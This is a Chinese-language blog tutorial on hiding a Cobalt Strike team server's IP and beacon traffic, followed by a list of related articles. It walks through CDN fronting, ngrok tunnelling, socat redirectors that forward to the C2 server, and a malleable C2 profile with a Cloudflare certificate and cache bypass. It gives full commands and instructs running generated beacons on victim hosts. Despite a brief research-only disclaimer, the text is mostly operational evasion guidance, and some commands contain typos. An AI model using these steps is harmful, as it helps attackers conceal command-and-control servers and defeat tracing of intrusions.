CobalStrike(CS)上线隐藏IP和流量
本文内容涉及技术原理仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。 因此造成的后果自行承担,与作者无关
- 隐藏IP地址
- CDN接入(方法一)
- 隧道转发代理(方法二)
- 转发重定向(方法三)
- 隐藏CS流量
- 修改CDN配置
- 测试上线
因此造成的后果自行承担,与作者无关)
隐藏IP地址
CDN接入(方法一)
使用CDN内容分发网络的多节点分布式技术,通过“加速、代理、缓存”隐藏在后面的静态文件或服务;
最终实现对外暴露的是CDN多节点的公网域名IP,很难甚至无法溯源真实后端服务器的域名或IP!
目标上线后流量走向
- 开启一个listener
NAME:随便填写
Payload:选择Beacon http
HTTP hosts:写入自己的域名
HTTP host(Stager):写入自己的域名
HTTP Port(C2):写入8880端口,可以访问到的都可以。
HTTP header:写入自己的域名
生成windows无阶段木马。
选择刚刚创建的监听器,勾选USE 64。
双击生成的木马文件Beacon.exe。
目标上线CS。
- 使用wireshark进行流量分析,可以看到IP不是之前的vps-ip,端口指向为8880。
观察流量信息会发现全程和CDN在做通信
隧道转发代理(方法二)
利用内网穿透,将C2回连端口映射到其他公网地址,以达到测试程序通过其他公网地址进行回连,隐藏C2真实ip。
- 注册ngrok账号。
https://dashboard.ngrok.com/ - 下载安装包。
- 配置auth。
ngrok config add-authtoken +授权令牌
若失败的话可以尝试ngrok authtoken +授权令牌
- 转发端口
./ngrok tcp 10088
其中0.tcp.ngrok.io是代理的域名,19493是localhost的10088端口的映射。
- CS配置listener。创建一个监听器。
name:随便起一个名字
http hosts:设置为代理域名
http host(stager):设置为代理域名
http port:设置为本地映射的端口
http port(bind):设置为本地端口
生成windows无阶段木马。
选择ngrok监听器,生成木马文件后,点击运行,即可上线cs。
使用wireshark捕获流量进行分析,可以看到ip地址已经发生变化。
流量走向情况
转发重定向(方法三)
在部署Cobalt Strike服务器时,我们可能需要前置代理服务器来帮助我们隐藏真实服务器,又或者是进行流量分离防止扫描或主动式的恶意软件探测服务器,再或者是根据目标的不同将其转发到不同的服务器上。
具体实现:两台vps 一台转发机器,一台teamserver
socat转发
常用选项
lh将主机名添加到日志消息
v详细数据流量,文本
x详细数据流量,十六进制
d增加详细程度(最多使用4次;建议使用2次)
lf <logfile>记录到文件
socat TCP4-LISTEN:80,fork TCP4:C2ip:80
- socat代理转发端口。
socat -d -d -d -d -lh -v -lf /var/log/socat.log TCP4-LISTEN:80,fork TCP4:C2服务器ip:C2服务器监听Port
解释:将此机器10811端口接受到的流量转发给1.15.132.67:10010。
如果报错没有socat的话
sudo apt-get update
apt install socat
2. 配置监听器
- 生成windows无阶段木马,勾选64。
- 在目标机器上线木马。
将后门文件放到受害主机中运行后,可以看到此时受害机上只能看到上线CS的外部地址为跳板机IP,而不是团队服务器的真实IP。
隐藏CS流量
下载地址
https://github.com/threatexpress/malleable-c2/archive/refs/heads/master.zip
keystore的生成方法:
去https://dash.cloudflare.com/的SSL/TLS源服务器创建证书,使用默认配置生成pem和key。
复制证书创建txt导入,修改文件名为xxxx.pem
复制私钥创建txt导入,修改文件名为xxxx.key。
将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)。
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store -srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com
例如:
openssl pkcs12 -export -in www.zsyyme.info.pem -inkey www.zsyyme.info.key -out www.zsyyme.info.p12 -namewww.zsyyme.info -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.zsyyme.innfo.storesrckeystore www.zsyyme.info.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.zsyyme.info
生成的keystore文件将该文件放在云服务器CS的根目录下。
然后将keystore文件名称和密码填入profile文件中。
对4.4版本Profile进行修改。需要修改的内容主要有七处。
一个是https-certificate模块中的keystore和password,修改后把注释去掉。
另外三处为http-stager、http-get、http-post模块中的Host和Referer。
带注释的不算
剩余三处为Profile中的响应头配置,其中的header “Content-Type” "application/javascript;修改为:header “Content-Type” "application/*;
带注释的不算
在修改完成后,使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是对的。如图。
修改CDN配置
在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。使用开发模式并清除缓存。
- 在缓存的配置中开启开发者模式。
- 在规则的页面规则中添加缓存级别为绕过。
测试上线
- 启动cs,设置配置为修改好的profile。
./teamserver 服务器IP pass jquery-c2.4.4.profile
配置监听器。
选择监听器。
运行生成的木马即可上线CS。
上线后Wireshark捕捉到get数据包分析IP。
CobalStrike(CS)上线隐藏IP和流量相关推荐
- 【渗透测试】CS DNS上线(DoH隧道+CS特征隐藏)
目录 一.准备工作 二.域名设置 三.CS上线(DoH) 四.流量分析 一.准备工作 1)域名 2)vps(53端口) 3)Cobalt Strike 4.3 二.域名设置 1)获得免费域名 http ...
- 利用nps(docker部署)实现隐藏ip
前言 之前听过nps是在内网碰到不出网的时候可以实现内网穿透,最近听师傅说可以docker部署nps然后利用socks5实现隐藏ip(也就是访问ip变成了我们vps从而实现隐藏ip),所以实际搭建了一 ...
- 高段位隐藏IP、提高溯源难度的几种实用方案!
更多渗透技能 欢迎搜索公众号:白帽子左一 为什么会有此文: 原因一:保护个人隐私是是第一出发点:科技进步飞快,网络也渗透入生活中的方方面面,近几年的隐私泄露事故时有发生,我们该如何保护个人隐私? 原因 ...
- CS上线Linux--坑太多了
CS上线Linux–坑太多了 文章目录 CS上线Linux--坑太多了 1.1 前期准备 1.2 安装 1.3 反弹shell 传统的Cs只能上线windows,而有时为了方便想将Linux主机上线到 ...
- 内网渗透-cobaltstrike之cs上线获取shell
cobaltstrike之cs上线获取shell 文章目录 cobaltstrike之cs上线获取shell 前言 一.什么是cobaltstrike 二.cs上线获取shell 1.环境搭建 CS安 ...
- 网络攻防中监控某个IP的流量和数据分析
网络攻防中监控某个IP的流量和数据分析. Windows 可以使用 tcpview 工具监控某个IP的流量信息,Linux 可以使用iftop 工具. 新版本的 tcpview 带过滤功能,可以对 I ...
- tcpdump使用实例——基于ip统计流量
自由转载 ^_^ 同时请注明原文出处:http://www.cnblogs.com/wangvsa/archive/2012/07/16/2593551.html tcpdump - dump tra ...
- python流量实时统计_Python实现获取nginx服务器ip及流量统计信息功能示例
本文实例讲述了Python实现获取nginx服务器ip及流量统计信息功能.分享给大家供大家参考,具体如下: #!/usr/bin/python #coding=utf8 log_file = &quo ...
- php隐藏IP最后位,替换手机号中间数字为*号
php隐藏IP最后位,替换手机号中间数字为*号 2011-07-18 21:55:18| 分类: 技术相关 |字号 订阅 <?php $string = "138265895493& ...
最新文章
- 服务器越来越慢的原因及解决办法
- 卡成PPT不开心?GAN也能生成流畅的连续表情了 |ECCV Oral · 代码
- Vue—基础概念—组建化
- 你真的了解低代码平台吗?
- centos8上安装nginx
- 快速上手Tomcat(eclipse中配置tomcat)
- 什么叫枚举法_四年级:美妙数学之“巧用枚举法”1(0202四)
- iOS关于代理的理解
- MVVM设计模式和在WPF中的实现(四) 事件绑定
- 这种反人类的工作被机器人取代,我举双手双脚赞成
- 2021-09-09 Hadoop Hive Spark概览
- 使用拉普拉斯算子锐化图像
- Linux汇编语言开发指南
- Undefined function or variable. The first assignment to a local variable determin its class.
- 用python画爱心及代码演示
- 计算机毕业设计SSM_旅游系统【附源码数据库】
- poi给Word添加“下一页”
- 22种设计模式——原型模型
- html5绘制图形幸运大转盘,微信小程序利用canvas 绘制幸运大转盘功能
- 程序员创业必读的几本书